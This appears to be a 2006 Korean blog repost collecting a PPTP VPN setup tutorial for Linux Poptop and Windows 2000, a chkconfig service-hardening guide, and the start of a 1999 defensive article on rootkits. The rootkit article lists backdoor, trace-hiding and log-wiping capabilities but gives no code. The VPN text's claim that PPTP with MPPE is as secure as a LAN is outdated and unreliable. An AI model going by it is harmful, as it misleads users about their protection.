PPTP(Point-to-Point Tunneling Protocol)는 PPP의 확장으로 개발된 PPTP에서는 인터넷을 통한 새로운 수준의 강화된 보안과 멀티프로토콜 통신이 추가됐다. 인터넷 프로토콜인 TCP/IP를 그대로 이용하면서도 외부인은 접근할 수 없는 별도의 VPN을 운용할 수 있는 프로토콜이다. 특히 PPTP 지원하는 VPN을 통한 데이터 전송은 새로운 EAP(Extensible Authentication Protocol)를 사용하기 때문에 단일 LAN 내의 회사 사이트에서 데이터를 전송하는 것만큼이나 안전성을 보장한다. VPN 서버는 모든 보안 검사와 유효성 검사를 수행하고 데이터를 암호화해 보안되지 않는 네트워크를 통해 가상 터널을 생성해서 보다 안전하게 전송할 수 있다. 또한 개인 LAN to LAN 네트워크에 PPTP를 사용할 수도 있다. PPTP에서는 전화 접속 연결이 필요하지 않다. 그러나 컴퓨터와 서버가 IP로 연결돼 있어야 한다. IP LAN에 직접 연결돼 있으면서 서버와 접속할 수 있으면 LAN을 통한 PPTP 터널을 설정할 수 있다. 그러나 인터넷을 통해 터널을 만드는 중이고 일반적으로 ISP와의 전화 접속 연결을 통해 인터넷에 액세스하는 경우 터널을 설정하기 전에 전화 접속으로 인터넷에 연결해야 한다. 리눅스에서는 PPTPD라는 서버 데몬과 PPTP라는 클라이언트를 통해 VPN을 구성할 수 있다. 물론 PPTP 프로토콜을 통한 VPN을 구성함에 있어서 리눅스와 윈도우간의 서버 대 서버, 서버 대 클라이언트간의 구성이 가능하다.

·MPLS VPN
MPLS VPN은 고객별로 터널링하는 것으로 MPLS 코어를 운영하는 서비스 업체들에 의해 구현된다. 기업을 위한 주요 애플리케이션은 자사의 WAN 코어를 서비스 업체에 부분적이거나 모든 부분을 아웃소싱한다. MPLS의 특성을 이용해 서비스 업체들은 에지 라우터의 고객 어드레스 공간을 분리한 다음, 고객으로부터 트래픽이 서비스 업체의 코어에 들어오면 VPN 라벨이 IP 패킷에 첨부돼 터널 라벨 스위치 경로를 통해 전환된다.

·AToM
AToM(Any Transport over MPLS)은 서비스 업체 MPLS 네트워크에서 사용하기 위한 L2TP v3와 유사하게 동작한다. 2계층 프레임을 MPLS 네트워크로 전송하며, 목적지 상대방에 전송하기 전 고객 트래픽에 라벨을 붙인다는 점에서 MPLS VPN과 비슷하다. 하지만 확장된 라벨 전송 프로토콜 세션을 사용해 독특한 가상 회선이나 유사 회선 라벨과 협상, 다양한 2계층의 고객 트래픽을 규명한다는 점에서 차이가 있다. 서비스 업체 네트워크가 고객으로부터 패킷을 받게 되면, 패킷에 라벨을 붙이고 터널 LSP(Label Switched Path)를 사용해 변환, 목적지 에지 라우터에 보낸다. 수신하는 에지 라우터는 라벨을 벗기고 패킷을 순수한 2계층 PDU 형태로 고객 사이트에 포워딩한다.

이와 같은 대표적인 프로토콜 이외에도 AMTP(Ascend Tunnel Management Protocol), VTP(Virtual Tunneling Protocol), IP in IP 등의 방법이 있으나 실제로 IPSec, PPTP, L2TP가 가장 많이 사용되고 구현이 쉽다.


리눅스를 이용한 VPN 서버 구성 솔루션
윈도우와 함께 활용할 리눅스 VPN 프로그램을 살펴보자. FreeSWAN(www.freeswan.org)은 리눅스에서 IPSec 프로토콜을 이용해 서버를 구성할 수 있는 솔루션이다. 리눅스에서 FreeSWAN을 구성하기 위해서는 커널 컴파일로 커널에서 IPSec을 지원하게 만들어야 한다. 또한 서버에서 NAT를 지원해야 하므로 커널에서 NAT 기능을 사용하기 위해 iptables을 설정해야 한다. 커널 컴파일후 FreeSWAN을 설치한다. 이때 커널 패치가 이뤄지고 설치 후에는 /etc/ipsec.secrets와 /etc/ipsec.conf 파일을 통해 설정할 수 있다. 최신 커널인 2.6에는 IPSec 지원이 커널에 삽입돼 커널 패치를 하지 않아도 사용할 수 있다.
Poptop(www.poptop.org)은 리눅스에서 PPTP를 이용해 서버를 구성하는 솔루션이다. 리눅스에서 Poptop을 구성하기 위해서는 커널 컴파일을 통해 커널에서 PPP 방식을 지원할 수 있게 해야 한다. 이는 PPTP가 PPP를 이용해 구현됐기 때문이다. 또한 L2TPD(www.l2tpd.org)는 리눅스에서 L2TP를 이용해 서버를 구성할 수 있는 솔루션이다.


윈도우 2000으로 클라이언트 접속을 위한 서버 구성하기
이제 실제로 VPN을 구축해 보자. 여기에 사용된 장비는 펜티엄Ⅲ 700 CPU이며, 리눅스 커널 버전은 2.4.20 & 2.4.3 그리고 윈도우 2000 서버이다. 실제로 테스트가 이뤄질 때, 펜티엄 클래식 166Mhz에 메모리 32MB와 1GB의 하드디스크에 리눅스를 올려 구축했는데, 매우 원활하게 동작했다.
(그림 3)에서 클라이언트는 사설 IP 대역인 192.X.X.X의 IP에는 접속하지 못하므로 해당 서비스를 이용할 수 없다. 하지만 VPN을 이용할 경우 VPN 서버에 연결 후 서버로부터 가상의 IP인 192.168.1.10을 부여받으면서 서버와 같은 네트워크에 속하게 된다. 때문에 사설 IP로 할당된 전자우편이나 웹서비스를 이용할 수 있다.


(그림 3) LAN to 클라이언트 구성도(www.poptop.org 참조)
우선 클라이언트 접속을 위한 서버를 구성해 보자. 윈도우 2000의 라우팅 및 원격 액세스 서버 설치 마법사를 통해 구축을 시작한다(화면 1). 시작 → 프로그램 → 관리도구 → 라우팅 및 원격 액세스 선택 수동으로 구성한 서버를 선택하고 마친다.


(화면 1) 라우팅 및 원격 액세스 서버 설치 마법사 화면

라우팅 및 원격 액세스 서버가 설치되고 가동되면 서버에 접속한 원격 클라이언트에게 할당할 IP 대역을 설정한다(화면 2). 로컬 등록 정보 화면에서 서버 → 등록정보 → IP 탭을 선택한다.

(화면 2) 로컬 등록 정보 화면

원격 액세스 정책을 설정하기 위해 원격 액세스 정책 탭을 클릭해 새로 만들기를 선택한다(화면 3). 추가 탭을 눌러 다음과 같은 조건을 선택한다. Tunnel-Type 항목에 들어가 PPTP 선택하고, Windows-Group에서 클라이언트 계정에 필요한 그룹을 선택한다. 사용자 계정 그룹은 시작 → 프로그램 → 관리도구 → 컴퓨터관리 → 로컬사용자 및 그룹에서 관리로 들어간다. Day-And-Time-Restictions 항목에서 액세스 가능 시간대를 선택해준다.


(화면 3) 원격 액세스 정책 추가 화면

(화면 4) 원격 액세스 정책 권한 화면


원격 액세스 권한 허용을 선택한다(화면 4). 이로써 윈도우 2000 VPN 서버의 기본 설정을 마친 것이다.



리눅스/윈도우의 PPTP 프로토콜로 VPN 구성하기 ②
 출판일 :2004년 6월호

VPN을 운영하는 데는 다양한 프로토콜이 있다. 이중 PPTP(Point-to-Point Tunneling Protocol)는 TCP/IP 상에서 안전한 통신을 지원하고 멀티프로토콜 통신을 추가한 새로운 개념의 프로토콜이다. 또한 PPTP를 이용한 통신으로, 리눅스와 윈도우 간의 VPN을 쉽게 구축할 수 있다. 이 글을 통해 리눅스와 윈도우를 이용해 서버 대 서버, 서버 대 클라이언트를 구성하는 방법을 알아본다.



정낙수, 정민, 김규현_국민대학교 OSSRC 소속 개발자







리눅스 PoPtop으로 클라이언트 접속 서버 구성하기
리눅스 VPN 서버를 구성하기 위해서는 몇가지 다운로드가 필요하다.

·파일 다운 로드
www.kernel.org/pub/linux/kernel   / : 커널 
http://wlan.informatik.uni-bremen.de/doku/debian/download/sonstiges/ppp-2.4/ppp-2.4.1-n :  ppp-2.4.1-mppe.tar.gz
ftp://ftp.psy.uq.oz.au/pub/crypto/ssl/ssleay-0.9.0b.tar.gz : ssleay-0.9.0b.tar.gz
www.poptop.org    : pptpd-1.1.3-4.i386.rpm                                    

솔루션을 다운로드했다면, PPPD 설치(MSCHAP v2 & MPPE SUPPORT)를 실행한다.  

#] tar xvfz ppp-2.4.1-mppe.tar.gz
#] tar xvfz SSLeay-0.9.0b.tar.gz

#] cp SSLeay-0.9.0b/crypto/rc4/rc4.h ppp-2.4.1-openssl0.9.6mppe-MSCHAPv2fix/linux/
#] cp SSLeay-0.9.0b/crypto/rc4/rc4_enc.c ppp-2.4.1-openssl0.9.6mppe-MSCHAPv2fix/linux/
#] cd ppp-2.4.1-openssl0.9.6mppe-MSCHAPv2fix

#] ./configure
#] make
#] make install

#] cp pppd/pppd /usr/sbin/

커널 컴파일(MPPE-PPP SUPPORT)을 실행한다. 배포판 커널에도 PPP는 모듈로 설정돼 있지만 MPPE와 MSCHAPv2를 지원하지 않는 경우가 대부분이기 때문에 이를 추가해 커널을 다시 만들어야 한다. 커널 컴파일시 network-device-support에서 ppp-support 항목을 yes로 하고 ppp의 세부항목(async serial ports, sync tty ports, deflate compression, bsd-comression)은 꼭 module로 설정한다.
만약, 클라이언트가 VPN 서버 접속을 끊지 않은 상태에서 웹 검색 등을 지원하려면 VPN 서버에서 NAT를 지원해야 한다. iptables을 이용한 마스커레이드(masqurade)를 이용할 것이라면 iptables를 추가해서 컴파일해야 한다. 물론 ipchains를 통해 마스커레이드를 할 경우는 ipchain을 추가해야 한다.

#] cd /usr/src
#] ln -s /usr/src/linux-2.4.20 /usr/src/linux
#] gunzip linux-2.4.16-openssl-0.9.6b-mppe.patch.gz
#] mv linux-2.4.16-openssl-0.9.6b-mppe.patch linux
#] cd linux
#] patch -p1 < linux-2.4.16-openssl-0.9.6b-mppe.patch

#] cd /usr/src/linux/drivers/net/
#] vi Makefile
#] # 다음 6라인을
 obj-$(CONFIG_PPP) += ppp_generic.o slhc.o ppp_mppe.o
 obj-$(CONFIG_PPP_ASYNC) += ppp_async.o
 obj-$(CONFIG_PPP_SYNC_TTY) += ppp_synctty.o
 obj-$(CONFIG_PPP_DEFLATE) += ppp_deflate.o
 obj-$(CONFIG_PPP_BSDCOMP) += bsd_comp.o
 obj-$(CONFIG_PPPOE) += pppox.o pppoe.o
#] #다음 6라인으로 대체 한다. (ppp_mppe.o가 컴파일 안될 경우대비)
 obj-$(CONFIG_PPP) += ppp_generic.o slhc.o
 obj-$(CONFIG_PPP_ASYNC) += ppp_async.o
 obj-$(CONFIG_PPP_SYNC_TTY) += ppp_synctty.o
 obj-$(CONFIG_PPP_DEFLATE) += ppp_deflate.o ppp_mppe.o
 obj-$(CONFIG_PPP_BSDCOMP) += bsd_comp.o
 obj-$(CONFIG_PPPOE) += pppox.o pppoe.o

#] make menuconfig
#] make dep && make clean && make bzImage && make install && make modules && make #] modules_install
#] cd arch/i386/boot/
#] cp bzImage /boot/vmlinuz-2.4.20
#] cp Sysmap.map /boot/Sysmap.map-2.4.20

#] vi /etc/lilo.conf
   image=/boot/vmlinuz-2.4.20
   label=linux-2.4.20
   read-only
 
#] lilo

#] reboot

컴파일이 제대로 됐다면 /lib/modules/2.4.20/kernel/drivers/net/에 bsd_comp.o, ppp_async.o, ppp_deflate.o, ppp_synctty.o가 포함돼야 한다. 그 다음에 PPTPD를 설치하고, 설정한다.

rpm -Uvh pptpd-1.1.3-4.i386.rpm

/etc/modules.conf
#pptpd를 위해 추가해야할 설정
alias char-major-108 ppp_generic
alias tty-ldisc-3 ppp_async
alias tty-ldisc-14 ppp_synctty
alias ppp-compress-18 ppp_mppe
alias ppp-compress-21 bsd_comp
alias ppp-compress-24 ppp_deflate
alias ppp-compress-26 ppp_deflate

/etc/pptpd.conf
option /etc/ppp/options.pptpd
localip 192.168.10.200               #VPN 서버의 가상 IP로 설정됩니다.
remoteip 192.168.10.201-254      #VPN 클라이언트에게 배정될 IP 대역이 됩니다.

/etc/ppp/options.pptpd
#리눅스 VPN 클라이언트와 윈도우 VPN 클라이언트 접속을 위한 설정
name *                        #서버 name
lock                           #client에서 serial장치 외부 접근 방지
mtu 1450                      # client 에게 1450보다 많지 않은 패킷을 보내도록
mru 1450                      # client 에게 1450보다 많은 패킷은 보내지 않도록
proxyarp                       # client가 proxy ARP 목록 생성 금지
nodeflate                       # deflate compression을 사용하지 않는다
nobsdcomp                     # bsd-compression을 사용하지 않는다
auth                            # 인증 사용
+chap                          # chap 인증 사용
+chapms-v2                    # chapv2인증 사용
ipcp-accept-local               # 상대측 정보를 시스템의 local ip로 받는다
ipcp-accept-remote             # 상대측 정보를 시스템의 remote ip로 받는다
lcp-echo-failure 3              # 물리적으로 접속이 끊어질 경우 종료
lcp-echo-interval 5             # client가 연결 되어있는지 확인
deflate 0                       # deflate compression
mppe-128                      #mppe 암호화 사용
mppe-40
mppe-stateless

vi /etc/ppp/chap-secrets
username * password * 

첫번째 *는 VPN 서버 이름이 되고 두 번째 *는 username을 사용해서 접속한 클라이언트에게 할당할 IP를 적어주면 된다. *로 할 경우 서버에서 자동으로 /etc/pptpd.conf에 지정한 IP 대역에서 처리한다.
VPN 접속후 클라이언트는 VPN 서버를 거치기 때문에 VPN 서버에서 마스커레이드를 해주어야 한다. 그래야만 클라이언트의 패킷이 VPN 서버를 거쳐 VPN 서버의 내부로 흘러가지 않는다. 하지만 이는 VPN 서버에 부하를 주기 때문에 VPN을 이용하지 않을 경우에는 VPN을 끊고 웹 검색을 해야 한다. 커널 2.4 이후에는 iptables을 지원하므로 iptables를 통해 마스커레이드를 하고 그렇지않을 경우 ipchains을 사용한다면 ipchains을 이용한 마스커레이드를 해줄 수 있다. iptables을 이용한 마스커레이드는 다음과 같다.   

#] vi /etc/rc.d/rc.local
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -A POSTROUTING -t nat -o ppp0 -j MASQUERADE
#] reboot

이와 같은 마스커레이드는 어떤 패킷 필터링도 하지 않은 상태다. 특정 패킷 필터링이 필요한 경우 추가시켜주면 된다.



리눅스/윈도우의 PPTP 프로토콜로 VPN 구성하기 ③
 출판일 :2004년 6월호

VPN을 운영하는 데는 다양한 프로토콜이 있다. 이중 PPTP(Point-to-Point Tunneling Protocol)는 TCP/IP 상에서 안전한 통신을 지원하고 멀티프로토콜 통신을 추가한 새로운 개념의 프로토콜이다. 또한 PPTP를 이용한 통신으로, 리눅스와 윈도우 간의 VPN을 쉽게 구축할 수 있다. 이 글을 통해 리눅스와 윈도우를 이용해 서버 대 서버, 서버 대 클라이언트를 구성하는 방법을 알아본다.



정낙수, 정민, 김규현_국민대학교 OSSRC 소속 개발자



서버 접속을 위한 LAN to 클라이언트 구성하기
이제 클라이언트 구성을 알아보자. 윈도우 서버와 윈도우 클라이언트를 이용해 VPN 접속하는데, VPN 서버 어드레스 입력이 필요하다.

·윈도우 2000 구성하기 
설정 → 네트워크 및 전화접속 연결 → 새연결 만들기 → VPN을 통한연결 → VPN 서버 어드레스 입력

·윈도우 XP 구성하기
시작 → 프로그램 → 보조프로그램 → 통신 → 새연결 만들기 → 회사네트워크에 연결 → VPN 연결 → 초기 연결을 사용 안함 → VPN 서버 어드레스 입력


(화면 5) 네트워크 연결 마법사를 이용한 VPN 클라이언트 설정


윈도우 서버와 PPTP 클라이언트를 이용한 VPN 접속하기 위해서는 파일 다운로드(pptpclient.sourceforge.net)가 필요하다.
PPP를 설치하기 위해 준비(MSCHAP v2 & MPPE)한다.

#] tar xvfz ppp-2.4.2
#] cd ppp-2.4.2
#] ./linux/mppe/mppeinstall.sh /usr/src/linux-2.4.20
 
커널 컴파일시 network-device-support에서 ppp-support 항목을 yes로 클릭하고 ppp의 세부항목은 꼭 module로 설정한다.

#] make xconfig
#] make dep && make clean && make bzImage && make install && make modules && make #] modules_install
#] cd arch/i386/boot/
#] cp bzImage /boot/vmlinuz-2.4.20
#] cp Sysmap.map /boot/Sysmap.map-2.4.20

#] vi /etc/lilo.conf
   image=/boot/vmlinuz-2.4.20
   label=linux-2.4.20
   read-only
 
#] lilo

#] reboot

PPP & PPTP를 설치, 설정한다.

#] cd ppp-2.4.2
#] ./configure
#] make
#] make install

#] tar pptp-linux-1.3.1
#] cd pptp-linux-1.3.1
#] make
#] make install

/etc/ppp/options.pptp
lock                               # client에서 serial장치 외부 접근 방지
noauth                            # 인증 사용 안함
nobsdcomp                        # bsd-compression을 사용하지 않는다
nodeflate                          # deflate compression을 사용하지 않는다
require-mppe-40                  # mppe 암호화 사용
require-mppe-128


/etc/ppp/peers/vpn
pty "pptp 210.121.xxx.xxx nolaunchpppd"#VPN 서버 IP
name xxxx                             # xxxx는 VPN 서버에 등록된 클라이언트 ID
require-mppe                          # mppe암호화 사용
require-mschap-v2                    # chapv2 인증 사용
file /etc/ppp/optios.pptp                # options.pptp 설정 사용
ipparam vpn         

vi /etc/ppp/chap-secrets
# ID  서버  패스워드 IP
xxxx  vpn  xxxx  *                   # id, 서버name, passward 기록

VPN 서버에 접속한다.

#] pppd call vpn

PPTP 클라이언트 GUI 설치한다. 리눅스에서도 PPTP 클라이언트용 GUI TOOL이 있다.

#] ./rpm -Uvh pptp-php-gtk.rpm     #GUI TOOL 설치
#] ./pptpconfig                       #TOOL 실행


(화면 6) PPTP GUI 툴

그 다음 Poptop과 윈도우 클라이언트를 이용해 VPN에 접속한다. 리눅스 서버인 Poptop과 윈도우의 원격접속 클라이언트는 서로 호환이 되기 때문에 이와 같이 설명한 방식은 윈도우 클라이언트를 구성해서 Poptop으로 구성된 서버에 연결해 사용할 수 있다.
Poptop과 PPTP를 이용해 VPN에 접속한다. 리눅스 서버인 Poptop과 리눅스 클라이언트인 PPTP의 설정은 이미 설명한 그대로 사용할 수 있다.

윈도우 서버를 이용한 LAN to LAN 구성하기
이제 LAN to LAN 구성을 해보자. (그림 4)는 LAN to LAN 혹은 게이트웨이 투 게이트웨이 간의 구성도이다. 그림의 클라이언트 내부 네트워크의 호스트인 A나 B는 NAT를 통해 클라이언트의 203.0.0.55를 인터넷에 연결할 수 있다. 하지만 (그림 4)에서와 마찬가지로 호스트 A나 B는 서버의 내부 네트워크인 전자우편이나 웹 서비스를 이용할 수 없다. 하지만 VPN을 이용할 경우 클라이언트의 요청에 의해 서버는 클라이언트와 가상 터널을 만들고 호스트 A나 B는 클라이언트와 서버의 가상 터널을 통해 서비스를 이용할 수 있다.

(그림 4) LAN to LAN 구성도


윈도우 2000 서버 버전을 이용해서 LAN to LAN을 구성할 경우 그림에서 클라이언트라고 표시된 부분과 서버라고 표시된 부분이 VPN 서버가 된다. LAN to LAN 구성은 크게, 필요할때마다 연결하는 것과 영구적으로 연결하는 것, 둘로 나눌 수 있다. 필요시 연결이라고 하면 클라이언트의 호스트 A가 메일 서버에 접속하기 위해 클라이언트에 요청을 하면 클라이언트와 서버 사이에 VPN이 생긴다. 생성된 VPN은 호스트 A나 호스트 B의 사용이 없는 경우 사라지게 된다. 영구 사용할 때 연결은 호스트의 요청이나 사용 여부에 관계없이 VPN이 존재한다. 

·필요시 연결 구성하기
① 양쪽 라우터가 VPN 서버가 될 수 있게 라우팅과 원격 액세스를 시작한다.
② 라우터간 연결을 위한 인터페이스를 설정한다.
③ 상대 라우터의 내부 네트워크 대역을 고정 경로 등록을 통해 기록한다.
④ (그림 4)의 A나 B의 요청이 있으면 연결 후 해제 

(그림 4)의 클라이언트와 서버의 설정은 고정 경로시 IP 설정이 상대편 대역으로 설정하는 것만 다르고 나머지 설정은 같다. 양쪽 라우터가 VPN 서버가 될 수 있게 라우팅과 원격 액세스를 시작한다(화면 7). 라우팅 인터페이스 → 새 필요시 전화 접속 인터페이스 선택한다.

(화면 7) 라우팅 및 원격 액세스 서버 설치 마법사

라우터간 연결을 위한 인터페이스를 설정한다(화면 8). 또한 연결 형식을 VPN을 사용해 연결로 선택한다(화면 9). 만들고자 하는 VPN의 인터페이스의 유형을 PPTP로 선택한다(화면 10).
LAN to LAN 연결이기 때문에 상대편 게이트웨이의 어드레스를 적어준다(화면 11). 원격 라우터 접속을 위한 계정을 사용할 수 있도록 설정한다(화면 12). 상대편 라우터가 접속할 때 사용할 계정이 된다(화면 13). 상대 라우터에 연결할 사용자 인증을 기록한다(화면 14).

(화면 8) 서버의 인터페이스 이름 설정
(화면 9) 연결 형식 선택
(화면 10) 프로토콜 방식 선택
(화면 11) 대상 어드레스 입력
(화면 12) 원격 라우터가 전화 접속하도록 사용자 계정 추가
(화면 13) 상대편 라우터가 접속할 때 사용할 계정
(화면 14) 상대 라우터에 연결할 사용자 인증 기록

상대 라우터의 내부 네트워크 대역을 고정 경로 등록을 통해 기록한다(화면 15). 경로는 IP 라우팅 → 고정 경로 → 새 고정 경로를 지정한다.

(화면 15) 고정 경로

우선 수준 등록 정보 중 라우팅 및 원격액세스 → IP라우팅 → 일반 → 등록정보 → 우선수준에서 경로원본의 고정 우선순위를 낮춘다(화면 16).

(화면 16) 우선수준 등록 정보

NAT를 위해 인터넷과 연결된 NIC의 등록정보에서 인터넷 연결 공유 탭을 활성화시킨다(화면 17).

(화면 17) 연결 공유탭

(그림 4)에서 클라이언트의 호스트 A 또는 B가 요청을 하면 VPN이 구성된다.

·영구 VPN을 연결하기 위한 구성
① 양쪽 라우터가 VPN 서버가 될 수 있도록 라우팅 및 원격 액세스를 시작한다.
② 라우터간 연결을 위한 인터페이스를 설정한다.
③ 상대 라우터의 내부 네트워크 대역을 고정 경로 등록을 통해 기록한다.
④ 클라이언트의 원격 액세스 정책을 설정한다.
⑤ 클라이언트의 요청이 있으면 영구적으로 연결된다.

기본 설정은 필요시 연결의 설정과 같다. 하지만 클라이언트의 원격 액세스 정책이 (화면 18)과 같이 달라지며 네트워크를 형성하기 위한 요청을 클라이언트가 된다. 또한 NAS-Port-Type → VPN을 선택하고, Called-Station-ID 선택 →게이트웨이 어드레스 입력한다.

(화면 18) VPN 등록 정보

Windows-Groups에서 클라이언트 계정에 필요한 그룹을 선택한다. 사용자 계정 그룹은 시작 → 프로그램 → 관리도구 → 컴퓨터관리 → 로컬 사용자 및 그룹에서 관리할 수 있다.

Poptop을 이용한 LAN to LAN 구성하기
Poptop을 이용한 LAN to LAN 구성을 위해서는 연결을 요청하는 쪽은 클라이언트가 되고 요청받는 쪽은 서버가 된다. 물론 클라이언트나 서버는 뒤쪽으로 내부 네트워크를 가지고 있다. LAN to LAN 연결 방식과 설정은 위에서 설명한 LAN to 클라이언트와 같다. 다만 내부 네트워크를 가지기 때문에 각 내부 네트워크 호스트의 패킷이 구성된 터널을 통과해야 하는지 아닌지에 대한 ROUTE 경로의 추가와 NAT가 필요하다. 때문에 클라이언트와 서버에 공통으로 상대편 내부 네트워크에 대한 고정 경로를 추가하고 iptables나 ipchains를 이용한 마스커레이드가 필요하다.

·고정 경로 추가하기
클라이언트에서
#] route add -net 192.168.0.0 netmask 255.255.0.0 dev ppp0

서버에서
#] route add -net 10.0.1.0 netmask 255.255.255.0 dev ppp0

·클라이언트 & 서버 iptables을 이용한 마스커레이드 
#] vi /etc/rc.d/rc.local
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -A POSTROUTING -t nat -o ppp0 -j MASQUERADE
#] reboot

이와 같은 마스커레이드는 어떤 패킷 필터링도 하지 않은 것이다. 특정 패킷 필터링이 필요한 경우 추가시켜야 한다.

Poptop과 윈도우 VPN 서버를 이용한 LAN to LAN 구성하기
Poptop과 윈도우 VPN 서버와 연결할 때 그 설정은 이미 설명한 각 서버의 구성과 다르지 않다. (그림 2)에서 클라이언트는 윈도우 VPN 서버가 되고 서버는 Poptop으로 구성한다. 일단 윈도우의 설정은 이미 설명한 윈도우 서버를 이용한 LAN to LAN 구성 방식에서 필요할 때 설정 방법과 같다. 또한 Poptop의 설정 또한 이미 설명한 Poptop을 이용한 LAN to 클라이언트 구성 방식에서 LAN 쪽의 서버 구성 방식과 같다. 각각의 설정이 맞춰진 후 윈도우의 라우팅과 원격 액세스에서 라우팅 인터페이스 항목에서 추가한 VPN 인터페이스의 연결을 선택하면 Poptop과 윈도우 VPN 서버와의 LAN to LAN 구성이 이뤄진다.
VPN 서버를 구성할 경우 서두에 열거한 여러 프로토콜 중에서 어떤 것을 선택하는지 서버 구성자의 선택에 달려있다. 또한 VPN 장비를 사용해 구성할 것인지 리눅스를 이용해 저렴하게 구성할 것인지 또한 구성자의 몫이 된다.
Poptop을 이용한 서버 구성의 장점은 윈도우나 리눅스를 사용하는 클라이언트가 윈도우의 원격 접속이나 리눅스의 PPTP 툴 등을 통해 서버에 간편하게 접속할 수 있으며 윈도우나 리눅스의 다른 운영체제 하에서 LAN to LAN 구성할 수 있다는 것이다. 향후 와우리눅스의 엔터프라이즈 버전에도 이런 VPN 솔루션이 탑재될 예정이라고 하니 일반 사용자가 손쉽고 저렴하게 VPN을 구성할수 있는 날도 그리 멀지 않았다.

2006/09/08 22:38 2006/09/08 22:38
이 글에는 트랙백을 보낼 수 없습니다
Hacking  2006/09/08 22:37
리눅스 보안관련 문서 #5 - chkconfig 사용법(부팅시 수행되는 서비스)

1. 본 메뉴얼은 www.besthan.net 웹호스팅에서 서비스를 제공받은 고객님께 제공되는 메뉴얼 입니다.
이 메뉴얼은 저희 홈페이지에서 다시 보실수 있습니다.

2. 본 메뉴얼은 리눅스 서버 호스팅에서 필요한 부분만 요약한 메뉴얼 입니다.

3. 메뉴얼에 설명된 내용중 궁금하시거나, 설명이 잘못되었거나, 이상한 부분은 메일주시기 바랍니다.

자신의 서버를 부팅할 경우 어떤 데몬이 살아있고, 어떤 데몬이 죽어있고, 어떤 데몬을 사용할 수 있는가를
아는것이 해킹을 막을 수 있는 가장 유용한 방법입니다.

chkconfig를 이용하여, 데몬중에 반드시 있어야할 데몬을 남겨두고는 전부 죽이는게 해킹을 방지할 수 있는 지름길
입니다.

#chkconfig --list (/sbin 밑에 위치)
#chkconfig --help (참고)
#chkconfig --level 3 sendmail off (사용방법예)

#chkconfig --list (하면 나오는것들)
xfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
anacron 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
apmd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
arpwatch 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
atd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
keytable 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
gpm 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
inet 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
netfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
network 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
random 0:끔 1:켬 2:켬 3:켬 4:켬 5:켬 6:끔
ipchains 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
pcmcia 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
kdcrotate 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
kudzu 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
linuxconf 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
lpd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
nfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
nfslock 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
identd 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
portmap 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rstatd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rusersd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rwalld 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rwhod 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
sendmail 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
syslog 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
snmpd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
crond 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
ypbind 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
yppasswdd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
ypserv 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
proftpd 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
named 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔

이중 켜야할것은 보통 9개정도밖에 안됩니다.
3번레벨을 기준으로, keytable,inet, network,random,kudzu,sendmail,syslog, crond,proftpd 나머지는 off
시켜주는것이 바람직합니다. (자기의 환경에 맞춰서 설정해주시기 바랍니다.)
2006/09/08 22:37 2006/09/08 22:37
이 글에는 트랙백을 보낼 수 없습니다
Hacking  2006/09/08 22:36
출처 블로그 > silverdory의 블로그
원본 http://blog.naver.com/silverdory/20007147439
ADMIN "Safe Machine, Safe Admin" Sat. 2004/11/06
MainIntroductionDocsLinksBoardQandA

rootkit

작성 : 김경애, drizzle@snags.snu.ac.kr

날짜 : 1999년 11월 2일

내용 : rootkit의 특징과 진단 방법에 대해 설명합니다.


차례

  1. rootkit에 대한 설명
  2. rootkit의 특징
  3. rootkit의 진단
  4. 대응 방향

1.rootkit에 대한 설명 /

다른 시스템에 침입하기 위한 프로그램 등이 다양하지만, linux 와 solaris에 설치 가능한 것 중에 rootkit이란 패키지가 있습니다. 원격으로 슈퍼 유저 로그인이 가능할 뿐만 아니라 침입했다는 사실을 숨기는 기능까지 있기 때문에 매우 위험합니다. 98년 12월에 나온 linux rootkit IV가 최신 버젼이며, 이는 다양한 툴들을 제공합니다.그 전의 버젼들은 이에 포함되어 있으므로 생략하기로 하고 이를 기준으로 살펴보기로 합니다.

  • 일반 유저를 슈퍼유저로 만들어주는 chfn, chsh, passwd 등
  • eggdrop 등을 자동으로 돌려주는 crontab의 기능
  • 침입 흔적을 숨겨주는 ls, find, du, ps, pidof, top 등
  • 네트웍 연결을 숨겨주는 ifconfig, netstat, inetd, syslogd, tcpd 등
  • backdoor 기능을 하는 login, rshd 등
  • wtmp, utmp 등을 수정하는 wted, 그리고 lastlog 까지 지우는 z2 등

